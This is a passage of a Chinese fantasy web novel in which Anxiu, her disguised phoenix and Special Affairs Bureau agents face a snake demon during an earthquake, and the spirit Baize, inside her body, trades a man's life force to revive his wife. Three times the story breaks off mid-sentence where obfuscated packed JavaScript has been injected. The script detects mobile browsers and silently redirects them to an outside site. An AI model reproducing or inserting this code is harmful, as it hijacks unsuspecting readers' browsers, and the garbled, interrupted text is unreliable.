“应该是被变身束缚了,这里的鸡都飞不高飞不远。”小凤凰想到这个心里也很失落,它很渴望飞翔的感觉,甚至还想带安随飞,但为了自己的安全,只能伪装自己。 “等我变回凤凰,我带你去天上转一转。”小凤凰兴致勃勃。 恐高的安随干笑一声:“我太重了,怕把你的翅膀压断了。” “我能驮起千斤重的东西,你这点重量不算什么。” “那以后再说吧。”安随敷衍过去,生怕它下一秒就变凤凰带她飞。 一人一凤在外面转了好一会,不一会儿谭岳出来找她,见她在那里,松了口气:“天色晚了,回去休息吧。” “我再待会儿。” “好,那你待,别太晚了。”谭岳说完转身就走,把安随都看愣了。 他出来就是让她早点休息吗? 安随并不会自恋地觉得对方是单纯地关心她,这是怕她跑了吧? 安随既然答应跟他们一起回到现场,便不会中途变卦,只是又得和老师请假了。 安随给辅导员打电话说的时候都有点紧张,生怕被拒绝了。 但好在辅导员没有多问,只是叮嘱她好好休息,安随十分感动。 挂断电话后她又给宋知冉打了个电话。 宋知冉看到下午的直播,一直提心吊胆生怕安随出什么事,但又怕她那边不方便接电话,便在微信上问她,只可惜安随一直未看到回复,这会儿电话直接打了过来,宋知冉听到她声音正常,这才松了口气:“安安你没事就太好了,下午我都快吓坏了,那个人是什么人?看着好凶。有人报警了,警察来过了吗?” 安随连忙说自己没事,让她别担心。她又问了蒋栗,得知蒋栗最近似乎又恋爱了,经常早出晚归。安随便没再多问,寒暄了几句后,安随便挂了电话。 回到住处,安随带着小凤凰去洗澡,保险起见,安随把它也带进了浴室,先给它冲了冲。 小凤凰抖了抖身上的水,抗议道:“我昨天才洗过了,我身上没那么脏!” “没事,我不嫌累。”安随不为所动继续给它冲水。 小凤凰被呛了几口水,咳咳咳个不停,安随见状这才作罢,把小凤凰扔在一边,自己开始脱衣服准备洗澡。安随手上的动作一顿,忽然问道:“话说你是公是母?” 小凤凰跺了跺脚:“我还是个宝宝!” 安随“哦”了一声,继续脱衣服。 舒舒服服地洗了个澡,安随抱着小凤凰进了房间,把它扔在床上,自己则坐在一旁吹头发。 小凤凰则在床上踩来踩去,似乎想踩出一块自己的地盘来。 不一会儿有人来敲门,安随开门一看,竟是风眠。 安随半掩着门,警惕地看着他:“你找我做什么?” 风眠笑了笑,他笑起来很好看,让人如沐春风,但经过下午的事,安随并不会被他的笑容迷到,依然保持着警惕心理。 风眠连忙摆手:“别紧张,我是来和你说,明天六点我们就要出发。” “那么早吗?”虽然安随不是个赖床的人,闹钟定到六点也能起来,但她没明白那么早去的意义。 “我们检测到那里能量波动强烈,这也证明了你说的,那里还有其他能量体,以防万一,我们需早点出发。” 安随的关注点却在另外一个点上。 “那么远的距离你们是怎么检测到能量波动的?” 风眠推了推金边眼镜:“这个嘛,暂时还不方便和你说。” “你们既然要我帮忙,却不坦诚相待,说不过去吧?”安随质疑道。 风眠看着她,顿了会儿才道:“你也并未说明你身上为何有能量波动,一个正常人类,是不会拥有能量波动的。” “就不能是你们的机器出了问题?” “陈默是特事局重金挖回来的技术天才,他造的东西从来不会出错。” “既然你如此信任他,那我也无法可说。”安随不愿与他多说,“我困了,要睡觉了,你还有其他事吗?” 风眠又恢复了笑眯眯的模样:“晚安,小妹妹。” 安随望着风眠远去的背影,总觉得他并不像表面看起来那么人畜无害,他们一行四人也没那么简单。 安随回了屋,拿出手机去搜了下特事局,却没有搜索到任何内容,让她一度怀疑自己被人忽悠了。 她不信邪地又去其他平台搜了一下,却在速音搜到了特事局的官号,还加了蓝V。 加了蓝V至少证明这个号是真的,确实有特事局这个地方。 安随这才放心了点。 点开官号,里面却空空如也,什么也没有,简介只有一句:“扫尽天下不寻常之事。” 嚯,口气还挺大。 安随都有些好奇这个部门的业务都包括些什么了。 妖怪的事情也能处理吗? 那个能量波动是妖怪身上才有的吧?特事局的人叫它们能量体? 听着确实比妖怪好听多了。 想来那个检测仪之所以对她有反应,应该是白泽在她身体里的缘故吧。 一提到白泽,安随这才发觉他竟然已经一天没有回应她了。 安随又试着叫他,却依然没有得到任何回应,想来是昨晚的车祸耗尽了他的信仰之力,一时半会儿还醒不来。 虽然她下午直播了会儿,但时间太短了,只有几分钟的时间,恐怕还不足以支撑他醒过来。 想到这里,安随便又点开了直播。 她现在直播的时间越来越随意了,网友经常蹲不到她。 但晚上人还是比较多,她一开播,很快在线人数便飙到一万,她看了看粉丝数,也到了90万,要不了多久她就能突破百万大关,而这离她遇到白泽不过半个多月的时间。 “大家晚上好呀。”安随和粉丝们打招呼。 白天已经等到安随直播的粉丝没想到她晚上又播了,开始疯狂刷屏。 “我去,主播居然转性了,一天播两次。不过开播了就好,证明你现在安全了。” “下午警察叔叔找到你了吗?你怎么脱身的?” 安随连忙道:“我没事了,警察叔叔没来。” “他们没把你怎么样吧?” “没有,我很好,你们别担心。”安随不愿多说,开始转移话题,“今天晚上我挂一晚上直播,要学习的赶紧啊,我手机没电就自动下播了,现在手机还有85%的电量,我也不知道能播到什么时候。” 安随说着便将手机放在一旁,关掉麦克风,将声音调成静音后便躺下了。 此时的小凤凰正乖乖地窝在床尾,缩成一团。见安随躺下了,它睁眼看了安随一眼:“老大,晚安。” “晚安。” 安随关了灯,窗外的月亮又大又圆,但安随关着窗户,将月光全部关在外面。 半夜,月光泻在水里,门口的池塘蒙上了一层白色的水光。 一个巨大的黑影突然升向空中,遮住了月亮,天空一下子暗了下来,整个大地笼罩在一片黑色中。 只一瞬间,月亮又恢复了明亮,因为,那黑影落了下来,落到一户农家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678874|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 陈默收回机械翅膀,将自己查看到的东西和几人说了。 “我去看了下,那里似乎不太平,我们最好今晚赶过去。” “但她还睡着。”谭岳指了指楼上。 “顾不了那么多了,没有她我们一样能行。”陈默对安随没什么好印象,巴不得她不去。 “但是她是最熟悉那里情况的人。”另外一个高个男人名叫赵拓,平时沉默寡言,甚少发表自己的观点,一把匕首使得出神入化,速度极快,也是特事局花重金请回国的人。 几人意见不统一,纷纷看向风眠。 平日里向来笑脸迎人的风眠,此刻却收敛了笑容:“兹事体大,把她叫醒吧,我们现在就赶过去。” 风眠说完就上了楼,另外三人便开始收拾东西,准备离开这里。 半夜,安随睡得正香,却被一阵敲门声惊喜了。 那敲门声铿锵有力,却并不会显得刺耳,安随坐在床上没动,下意识地拿起了手机。 手机显示还有50%的电量,直播间里静悄悄的,偶尔有人刷礼物,却没有人说话,在线人数却保持在10万以上。 安随握紧了手机,等着门口的反应。 过了会儿,见没有听到安随回应,门口的人开口了:“妹妹,我们该出发了。” 安随听到是风眠的声音,下意识地松了口气,但很快又提了起来:“不是说六点出发吗?” “出了点事,我们得提前过去。” “那就得谈钱了。”安随觉得自己没有义务大半夜跟着他们出去跑,更何况她一个弱女子,和他们去干有危险的事,谁能保证她的安全? 风眠没料到她会提钱的事,想了想还是答应了,虽然这钱得他先垫着,回去报销也麻烦,但是人是他找的,只要不是太过分的要求,他都会满足。 “可以,一切都能谈。” 安随闻言这才起身穿衣梳头,抱着熟睡的小凤凰便去开了门。 “先给钱,免得你后面变卦。”安随右手伸到风眠面前,示意他先给钱。 风眠笑了笑,随后摸了摸口袋,摸出一个手机:“加微信吧,我转给你。” 安随扫了二维码,申请加好友。 风眠很快同意,转了一千块过来。 “够了吧?” 安随也没得寸进尺。一晚上就赚一千块,老板大方。 安随跟着风眠下了楼,另外三人早已收拾好,正在门口等着。见两人下来,一行人跟着离开了这里。临走时,风眠又给主人家留下五百块,算是额外叨扰的价钱。 越野车刚好能坐下五个人,谭岳开车,陈默坐在副驾驶,风眠挨着安随坐。 安随在车上闭目养神,刚刚被喊醒,此刻困意袭来,安随靠着窗户昏昏欲睡。 车内静悄悄的,没有人说话。 车子在路上行驶了半个多小时,进入卫国镇地界。前排的陈默突然睁开眼:“我感觉能量波动越来越强烈了。” 安随听到说话声音便清醒了,听到陈默说能量波动的事情,下意识地看向窗外,外面黑漆漆的,什么也看不见。今日月亮很圆,先前她出发的时候还能看到院子里很亮,这会儿外面却像是被一块黑布笼罩住了。她打开窗户,冷风灌了进来,外面却什么也没有。 “月亮去哪了?”安随下意识地问。 几人闻言,都沉默着,没有人开口说话。 空气一下子变得紧张起来。 谭岳猛踩油门,车身发出“呜呜”的声响,车子开始加速,向李家村进发。 忽然,车身开始剧烈抖动,似乎要抖散架一般。安随一个不稳撞到了车窗上,顿时觉得自己额头都起了个包。 在她还未回过神来时,车内的其他人动作整齐地掏出了自己的武器握在手里,风眠手里没有武器,却也神情严肃地盯着前方,一手扶着驾驶座,另一只手搭在安随的胳膊上,整个人犹如一座山峰,没有半点抖动。 安随感觉自己的胳膊犹如被灌了铅一般,似有千斤重的东西压在她胳膊上,让她不能动弹,但也让她不再晃动。 晃动大概持续了一分钟才停下来。 几人缓了会儿,才打开车门,车灯照在前方,也照亮了前方的景象。 安随也跟着下了车,在见到前方的景象时,呆在了原地。 24. 第 24 章 此刻的他们正处在一处峡谷地带,四周都是高耸的山峰,公路得一直往上才能爬到李家村去。 然而如今,前方的公路却被巨石挡住了去路,四处是拔地而起的大树,歪歪斜斜地倒在一旁,整个地面裂成几条缝,一不小心就容易掉入缝中。 好在他们车子所在的地方地面完好无缺,没有受损,但前面的路却是被挡住了,无法再前进。 “这是……地震了?”安随呆呆地看着眼前的场景,脑子一片空白。李家村怎么样?这地震到底有多大? 她拿起手机准备看下微博,却发现因为地震,这里信号都被中断了,直播也跟着中断。 其他几人的手机亦是如此,他们的手机无法与外界的联系。 风眠只一瞬的呆愣后,便恢复了神情,当机立断道:“陈默,你出去报信,其他人和我一起进山救人。” “收到。”陈默说完,便启动胳膊上的开关,一对机械翅膀“唰”地露了出来,扇动几下后,整个人便开始飞向空中,看得安随一愣一愣的。 “他怎么会飞?”安随问。 “那是陈默的发明。”谭岳解释道。 风眠道:“安随,你和我们一起进山吧,在这里等着反而不安全。” “好。”安随点了点头。 虽然她知道自己也帮不上什么忙,但这个时候,能出一份力便出一份力吧,只要不拖后腿就好。 四人弃了车继续往前走,临走时又将车里的装备都背在背上。安随没什么好带的,轻装上阵,只带了一只鸡。 谭岳见她还把鸡带着,便道:“你把它放生了吧,带着反而不方便,或者让它在这里等着,等我们回来再带它。” 安随却摇了摇头:“它是我的伙伴,我得带着。” 谭岳见她坚持,也不再劝说。 四人绕过地缝往山里进发,此刻的盘山公路却大多被树木和巨石挡住了去路,四人得绕过或者爬过去,费了不少力气。 越往里走,风眠神情越严肃。 “那股力量更加强烈了。”风眠道。 另外两人闻言不由加快了步伐,安随得费一番功夫才能跟上他们的步伐。此刻她也懒得过问风眠是怎么查探到力量的,她也没见他用检测仪。她也感觉自己有些心神不宁,越往里走,心里便越慌。 一路上没有一个人再开口说话。 安随紧紧地搂着小凤凰,心跳很快,似乎随时都能从胸腔里跳出来。 那种感觉越来越强烈了。 怀里的小凤凰也变得躁动不安。 “老大,我感觉这里不对劲。”小凤凰小声说道。或许是动物与生俱来的危机感,离这里越近,小凤凰便越觉得心里不安,前方似乎有什么危险在等着他们。 “连你也察觉到了吗?如果这里有妖怪,你觉得你能制服它吗?”安随问它。 小凤凰有些不确定。 其实它没什么战斗力,不然也不会跟着大部队逃到人界了。它的族类早在妖王的猎杀下,死的死,逃的逃,已经所剩无几,它是凤凰族里最年轻的凤凰,没有经过什么磨难,也没经过什么大的战斗,自然战斗力不强。 安随见它沉默,便猜到这里的东西小凤凰对付不了。她望着前方的三人,有些摸不清他们的底细,到底强还是不强。和他们相处中,她没有觉得他们有多强,但他们检测到这里的异常,又义无反顾地进来,好像把所有的危险都度之身外。 她不知道他们察觉到这里有多危险,但她直觉危险离他们越来越近,而且是很难对付的危险。 安随还是忍不住开口了:“前方似乎很危险,你们有把握吗?” 没有人开口回应她,只有沉稳的步伐响在寂静的夜里。 安随也跟着沉默下来,继续跟在他们身后。 安随见没有一个人退缩,自己也不好在这个时候打退堂鼓。何况李家村的人还等着他们去救,她自然也没有退缩的道理。只能寄希望于特事局的三个大哥了,希望他们能争点气。 “刷刷刷——” 刺耳的声音在夜里显得格外的明显,似乎有什么东西摩擦着地面,四人脚步一顿,警惕的望着前方。 谭岳拿出手枪,子弹上膛,目光紧紧地锁住前方。赵拓也做出备战的姿态,匕首在紧紧地握在手中。风眠什么武器也没有,身体却紧绷着,他下意识地将安随护在身后,一手握着她的胳膊,另外一只手揣在兜里。 小凤凰身体开始忍不住地颤抖,牙齿也在上下打架,身体不停地往安随怀里钻,它的身体因为极度恐惧缩小为巴掌大小,身上的毛也开始掉落。 安随察觉到它的异样,将它揣在兜里,一只手不停地抚摸着它的羽毛。小凤凰果然没抖得那么厉害了。 来自强者的威亚根本让小凤凰无法反抗,但老大的抚摸又让它很快安静下来。它找的没错,她就是它的老大。老大可是妖界第一神兽,一定会打败这个妖怪的! 它相信她! 安随心里也十分紧张,这种备战状态她太熟悉了,毕竟昨天下午她才经历过一次。 安随吞了吞口水,将自己躲在风眠身后,她能感觉到这三人里风眠是深藏不露的那一个,也是他们四人的主心骨,想来实力是最强的。 “刷刷”声离得更近了,仿佛就在耳边。 忽然,耳边一阵劲风袭来,还未等她反应过来时,便感觉自己的身体也跟着腾空,再次落地时,才发现竟是风眠将她带离了原地,而先前她所站的地方,竟已裂开一条缝。 四人快速聚在一起,三人背靠着背,面向三个方位,将安随圈在中间。 风眠快速说道:“别出声,跟在我身后,别乱跑。” 安随点头,目光再次看向黑夜里,却什么也没看见。 那个东西依然没露面,却已袭击了他们一次。 风声再次袭来,安随再次感觉自己身体腾空了,落到了另外一处。 如此几次后,安随也感觉自己有些拖后腿了,没帮上他们什么忙,反而还要他们保护她。但她别无去处,出去反而会死得更快。 她还不想死。 她只想好好活着。 和神秘力量交手几次后,三人明显感觉有些力不从心了。 对方神出鬼没,到现在都还不知道是什么东西,却已经把他们弄得筋疲力尽。 安随不想拖后腿,开始想脱身之法。 他们几人明显不是对方的对手,逃离这里才是上策。 到底怎么才能脱身呢? 安随试着呼唤白泽,按理说她都直播了一晚上了,他应该也恢复了点信仰之力了啊,怎么还没反应? 安随都快急死了。 “砰——” 谭岳一个不察,整个人被甩到了土壁上,随后重重摔了下来,身体仿佛要散架一般,他爬了好几次才爬起来,酿酿跄跄地朝三人走过来。 风眠连忙制止他:“站在那里别动!” 谭岳顿住脚步。 而安随这次却也看清了,刚才把谭岳摔到壁上的是条尾巴,滑腻腻的,还反着光。 “是蛇!”安随说道。 “你看清了?”风眠回头问她。 安随点了点头。 她的视力本就比常人好,即使在黑夜里也能看清,刚才不过是对方速度太快了,这才没看清是什么东西。而它刚才甩谭岳的时候露出了尾巴,这才被安随看见了。 “蛇怕火。”安随说着,在衣服兜里掏了掏,掏出个打火机来。 这是前天晚上从司机身上扒拉下来的,走的时候忘了还他了,这会儿正好派上用场。 只是,现在能用什么点燃火呢? 风眠看见她手里的打火机,随后迅速脱掉了身上的风衣。 “点这个吧。” 安随只看了一眼便拿过来点上了。 风衣在接触火苗的瞬间便被点燃了,照亮了三个人的脸,每个人都神情严肃,略显狼狈。 三人快速朝谭岳靠近与他汇合,四人再次抱成一团,而风眠便拿着点燃的风衣在前面给三人开路。 他们必须找到更多的可燃物支撑他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而抱着树干的风眠,整个人被蛇缠住身体,越勒越紧。他脸胀得通红,呼吸也越来越困难。 就要交代在这里了吗? 那里的群众还等着他们去救呢。 可是他,真的坚持不住了。 他的眼神开始涣散,双手无力地垂下,手里的树干也滑落在地。 而此时的安随也再也支撑不住,痛晕过去。 倏地,一声尖锐的声音在风眠耳边响起,随后他便感觉自己的身体跌落下来,他不知道发生了什么,但仍然强撑开眼皮。 随后,被眼前的一幕震住了。 今晚的月亮很圆,此刻的他依稀能看到先前还痛晕在地的安随,缓缓站了起来,她的脚步还有些不稳,踉踉跄跄地朝盘踞在那里的巨蛇走去,手里拿着一根从地上捡的树枝,脸上是睥睨众生的孤傲。 只见她用树枝往巨蛇身上一戳,口里吐出冰冷的话语。 “找死。” “嘶嘶嘶——”巨蛇开始剧烈颤动,发出哀嚎声,过了会儿,便见巨蛇轰然倒下,竟将先前还完好的地面砸出一个巨坑。 他们得救了。 这是风眠最后的想法,随后缓缓闭上了眼。 而从安随身体里醒来的白泽,缓缓蹲下身,在巨蛇的头顶上按了按,过了会儿,巨蛇的身体冒出一股白烟,只剩下一枚妖核。 白泽将它收入囊中,起身准备离开这里。 脑海里闪过这几日发生的事情,也看到了他们几个人是和安随一起的,想到安随不是个不管不顾的人,叹了声气,便又认命地去寻找三人的身影。 风眠和谭岳倒好找,赵拓被甩下山崖,找起来费了白泽不少功夫。但他现在功力精进,加上控制安随身体后,发挥的作用更大,也很快找到赵拓,将他扛上山崖。 想着他们此行的目的是李家村,带上这三个拖油瓶有点费力,白泽便将三人排成一排排在公路上边,又怕他们冻感冒了,还贴心地拿野草给他们盖上,而他自己则向李家村进发。 25. 第 25 章 白泽快速向李家村进发。 他的速度很快,在障碍物中穿梭如入无人之境。他的速度比之前更快了。 他的每一次沉睡都是升级,再次醒来都会比之前更强,灵魂也被修复了一点,他相信,如此几次后,他很快便能恢复人形。 只不过如今他只能利用安随的身体做着这一切。 几分钟后,白泽便到了李家村。 李家村村口本来有块牌子的,只不过因为地震,那块牌子也断成几节落在地上,若不是白泽对这个地方有点印象,还差点没找到地方。 越往里进,残垣断壁便越多,远远便能听到此起彼伏的哀嚎声和哭泣声,看得白泽心里十分沉重。 他没想到,这里竟然受灾如此严重。 看来,刚才让蛇妖死得太轻松了。 走到村委会办公室时,便见那里房屋虽然倒塌了,牌子也断成两节,但是被人凑在了一起,用胶带粘着,勉强能看清先前的样貌。 旁边有个屋子整体结构还算完整,只墙面有些裂缝,但也看着危险,里面有手电筒的光亮着。白泽走了进去,便见里面有一屋子人,有躺着的,有坐着的,各个神情哀伤,见到有人进来,纷纷回头看了一眼。 见是去而复返的白泽,李凤宁瞬间红了眼眶,声音哽咽:“白泽,你怎么在这里?你不是回市里了吗?” 白泽指了指外面:“借着月光走进来的。” 李凤宁以为他是地震前就进来了,一听却是他从外面回来的,顿时惊得站了起来,却忘了自己胳膊被倒塌的墙打了,还包着纱布,顿时疼得龇牙咧嘴,好一会儿才缓过来:“你是说,你刚刚从外面走进来?” “不然呢?”白泽觉得她有点傻,不是从外面走进来,难道是从天上飞过来的?不管是过去还是现在,他都不会飞。 “救援的人来了吗?有多少人啊?我看公路都裂开了,外面的车根本进不来,你们是怎么进来的?”李凤宁追问道。 “就我一个人,走进来的。”白再次强调。 李凤宁闻言,不信邪地凑到门口看了看。外面黑漆漆的,没有汽车的影子,只能听到村民的哀嚎声和呼呼的风声。 李凤宁回过头,望着白泽一言不发,眼里的失望怎么也抵挡不住。过了会儿,屋内传来低低的抽泣声。 “我们没救了吗?”说话的是个中年男人,只见他躺在简易担架上,额头上的纱布还渗出血迹,一只裤腿空落落的,被血打湿了。那是刚才村里临时组成的自救队从倒塌的房屋下挖回来的,只不过他的一只腿永远地留在了地下,但好在命保住了。 村医忙得头晕转向,这里医疗条件差,医疗资源严重不足,村医的卫生室也被埋了,他带领几个村民去把药挖了出来,把村办公室当成了临时医院,被自救队救出来的村民都在这里,如今已经住了十几个人,但离最后被抬进来的病人已经过去了十几分钟了,没有新的人进来。 李凤宁也受伤了,但她伤得不重,本来想出去帮忙的,却被李世全拦住了。他说,这里需要一个能稳住人心的人。 李凤宁便留下了,主要是怕有些人想不开,她得在这调节气氛,给大家加油打气。 她一直跟他们说的是救援的人很快会来,现在地震预警比十几年前进步多了,手机里也有地震预警,但地震的时候大家都在熟睡,且不是每个村民的手机都有这个功能,因此地震来袭时还是有不少村民被埋在了地下。 李凤宁的睡眠浅,一丁点声音都能把她吵醒,因此听到地震预警时抄起手机和外套就往外跑,只可惜还是没跑赢,胳膊被倒塌下来的墙狠狠砸了一下,但好在无性命之忧。 只是其他用老年机的老年人就惨了,很多在睡梦中就被埋在了地下。 距离地震已经过去了一个小时,他们却只等来了白泽一个人,这让他们怎么不绝望? 李凤宁没说话,因为她也不知道怎么安慰他。 白泽看了看外面,突然说道:“他们很快就来了。” “你怎么知道?你是怎么进来的?外面的情况怎么样?”李凤宁问道。 白泽没说话,闭上眼睛,眼前浮现出身着绿色军服的一行人往山里进发,只不过他们的距离还有些远,还没到特事局三人所在的地方。 “我出去看看。”白泽睁开眼,和李凤宁说了一声便走了。 “你去哪?后面很有可能还有余震,你别乱跑。”李凤宁在后面喊,白泽朝后挥了挥手,头也没回。 直到多年后,白泽离去的背影仍在李凤宁脑海里挥之不去。 白泽离开村办公室,隔一段距离便能看到倒塌的房屋。这里的房子并不密集,东一处西一处,也给救援增加了困难。自救队都是在地震中逃离出来的人组成的,有老有小,有男有女,这一刻,没有人会觉得谁出的力多一点,谁又出力少了,他们只有一个信念,那就是在外面的救援到来之前,能尽量多救一个人出来。 一处二层楼的房屋,一层已经陷入地底,只留第二层露在外面,碎裂的砖块随处可见,门口的那棵有成年男子腰粗的黄桷树也连根拔起,倒在坝子里,隔绝了房屋与外界。 此刻,一群人正趴在黄桷树上,和地底下的人对话。 “你少说话,保存体力,我们正在想办法下来救你。”说着,便有一名男子试着往下探脚,结果刚踩了一脚,碎石便哗啦啦地往下掉,男子快速收回脚,不敢再往下试探。 另外几人也跟着犯了难:“怎么办?我们下不去。” “等外援吧,我们去下一个地方救人。” “我怕他撑不了那么久,再试试吧。” “我下去吧,你们找根绳子把我拴住吊下去。”一个女人开口了。 女人名叫林悦,是几人中唯一的女性,人长得瘦小,今年和丈夫刚结婚,是外市嫁到这里的。丈夫出去打工,她在家里侍弄菜地照顾公婆。地震来时,她把公公婆婆都喊了出来,她家离震中较远,受灾比较轻。得知村里受灾严重,便过来帮忙了,而她的公公婆婆则在后勤组,保障自救队的大后方。 另外几人看了她一眼,随后决定让她试试。 有人找来了一根粗绳,试了试结实度,才将粗绳拴在她腰上,另一头拴在黄桷树上。 林悦背着一个小包,里面装着急救药和食物,抓着绳子,缓缓地往下移。 这里有一个能容一人进去的夹角地带,但是离地面很远,救援起来也有困难。林悦打算下去看看那人的情况,看有没有机会把他带上来,如果没有,就先给他处理一下伤口,给他留下食物,等救援的人过来救他。 林悦下行的速度很慢,大约过了五分钟,脚尖才踩到地面。她戴着头灯,也看清了下面的情况,不禁倒吸了一口气。 只见一名男子被一开钢板压着下半身,不能动弹半分,他的旁边还躺着一个人,只不过此刻已经血肉模糊,看不清样子了。见到头顶有光,他勉强睁开眼,看清了来人,随后光亮又变得黯淡。 林悦大概看了一下便知道自己没办法把他带上来,于是解下包放在他旁边:“包里有一些简单的急救药,还有面包和水,你先熬一熬,等到救援队到了,你就有救了。” 男子点了点头,说了声“谢谢”。说完,便见他拿出急救包里的纱布,用矿泉水打湿纱布后,给旁边的人清理脸上的血迹。他的动作小心翼翼,似擦拭着世间最珍贵的珠宝。 林悦本想提醒他节约用药用水,但见他的动作,最终什么也没说。她只觉得鼻子酸酸的,眼睛也有些发胀。 “你保重,一定要坚持到他们来救你们。”她哽咽着说了一声,随后拉动绳子,示意上面的人拉她上去。 男人终于擦完旁边的人脸上的血迹,只不过里面的肉也碎了,看不清长相,只能从长发判断出那是一个女人。 他抱着女人的头亲了亲她的额头,随后抬头看向林悦,眼里没有半点光芒。他笑了笑:“你也保重。” 女人没有半点动静,任凭他抱着。 林悦最后看了他一眼,随后便上去了。 上去以后,她将里面的情况和几人说了:“救不了,他被钢板压着,旁边还有个女人,应该是死了。我们只能等救援队来救。” “好,那就去下一处吧。” 几人说着,便往下一个地方行动。 路上,他们碰见了一个和他们对向而来的女孩,她与这里显得格格不入,身上很干净,没有沾上半点尘土,和满身灰尘的他们形成鲜明的对比。 几人看了她一眼,林悦有些担心她:“妹妹,赶快回家吧,这里太危险了,随时都有余震,你的家人呢?” 女孩停下脚步看了他们一眼,没有说话,与他们错身而过。 林悦有些不放心,追回去继续说道:“前面很危险,你别在这里逗留,你要么跟我们走,要么回家。” 白泽再次看向她,看到她一脸的着急和真挚,想了想还是说道:“该回家的是你,你别再出去了,否则很危险。” 林悦愣了一下,没有料到她会这么说,但她并没有放在心上,只以为她是担心她,便说道:“我还得去救人呢,听姐姐的话,你快回去吧。” 说着,她也不再和白泽多说,转过身追上了同伴。路上,有同伴问她:“你认识那个女孩?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695050|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林悦“啊”了一声:“她不是村里哪家的小孩吗?我刚来,还没认识多少人。” 其他人摇了摇头:“我们不认识她。” “那她怎么会出现在这里?” “估计是来走亲戚的吧。” 几人也没在意,继续前往下一处救援点。 而白泽,见林悦没有把他的话放在心上,摇了摇头,也不再管她,而是继续往前走。 他感受到了前方,有人向他许下了愿望,他便是来完成那人的心愿的。 虽说他魂魄不全,但他能听到别人的心愿是与生俱来的能力,只要有人许下愿望,只要他在附近,他便能听到。而在白泽庙里许下的愿望,不管在哪里他都能听到。只不过人间并没有人供奉白泽,而妖界的白泽庙虽有,他却再也感受不到半点信仰,想来是妖王已经把白泽庙砸了吧。 白泽往前走了大概五分钟,看到了倒在坝子里的黄桷树,黄桷树被连根拔起,但依然展现着勃勃生机。 他能感受许下愿望的人就在脚下这片土地下。 白泽缓缓蹲下身,看到了只能容一人进出的夹角地带,那里还有根粗绳垂在那里,方便后来的人去救他。 白泽抓着粗绳,很轻松地就下到了地底下。安随的身体本就瘦,进入里面并不难。他往里走了两步,便能看到被压在钢板下的两人。 他缓缓蹲下身,问其中一人:“刚才是你说要交换的吗?” 男人在白泽下来的一瞬间就看到他了,只不过他没想到刚走了一波人,又有人下来救他,本来他都想说别白费功夫了,她救不了他,却没想到她开口说的却是他刚才向神明许下的愿望。 他十分震惊地看着她:“你怎么……” 一瞬间,他以为他是出现了幻觉,亦或刚才说话声音大了点,被外面的人听到了。 “如果我救了她,你要用什么交换?”白泽继续问道。 男人激动道:“我,我愿意用我所有身家交换!只要你能救她出去,我不求你能救我们两个人出去,只要能把她救出去就行!我的身价上千万,现在就可以立字据!” 白泽看了他旁边的人一眼,摇了摇头:“不够。” “可,可我只有这么多,或者我去贷款,你想要多少?我都给你!”男人越说越激动。 “她已经死了。” 男人闻言,说着说着便哭了起来:“我知道,我都知道,可我只想她活过来,哪怕是付出我的性命。” “好。” “什么?” “用你的命换她的命,再赔上你的所有身家。”白泽说道。 男人沉默了会儿,随后道:“好,只要你能救活她,我这条命给你。” 真的有人能愿意牺牲自己救活别人吗? 人类的感情真复杂。 白泽不能理解。 但他在试着理解,且试着融入人类世界,这是他必须经历的。 “我叫白泽,也叫安随,记住你说过的话。” 白泽说完,缓缓抬起手,一道浅浅的白线在他眼前浮现,这是他现在能聚集的信仰之力。他的手放在男人头顶,感受着生命之力聚集在他的手上,随后覆在女人头上,生命之力从他手上消失,注入女人身体里。 而男人在被抽掉生命之力后,身体也跟着软了下来,失去了意识。 女人的脸渐渐恢复了原样,只不过却并没有醒过来。 而在完成男人的愿望后,白泽感觉一股信仰之力注入了体内,甚至比直播间接收到的信仰之力更加强大。 他喜欢这种循环。 白泽轻松将两人上方的钢板抬起,然后将两人拉了出来,肩上扛了一个,手上拖了一个。 这次他没有借助粗绳上去,而是将两人都绑在绳上,自己则从一旁的墙壁攀爬上去,再将两人用绳子拉上来。 男人被抽掉一部分生命之力后,一时半会儿醒不来,且醒来也不再像以前那般精明,而女人拥有他一半的生命之力,也不如以前聪明。两人共用一个人的生命力,寿命也会共享,但也算是达成了男人的心愿。而男人虽然不记得很多事,但是和白泽达成的交换条件却是刻在他骨子里,怎么也忘不掉。 这种术法并不容易,必须要有对等的交换才可以实现,且必须是有人有强烈的愿望让白泽听见,他才能施展。 白泽将两人放在坝子里,摘下黄桷树的树枝给两人盖上,便离开了这里。 他能看到,绿装军人已经进入村里展开救援,他们很快就会找到这里,而他也该离开,去往下一个地方。 他能听到,越来越多的愿望在他耳边响起。 26. 第 26 章 “求求老天,救救我儿子吧,他还那么小!” “神啊,求求你,拯救你的子民吧!” “妈妈,我还不想死,有人救救我吗?这里好黑。” “呜呜呜,妈妈,你说话呀,你不要吓我!” “宝宝,坚持住,救我们的人马上就到了!” “我坚持不住了,妈妈,我好痛……” “呜呜……有谁来救救我们……” 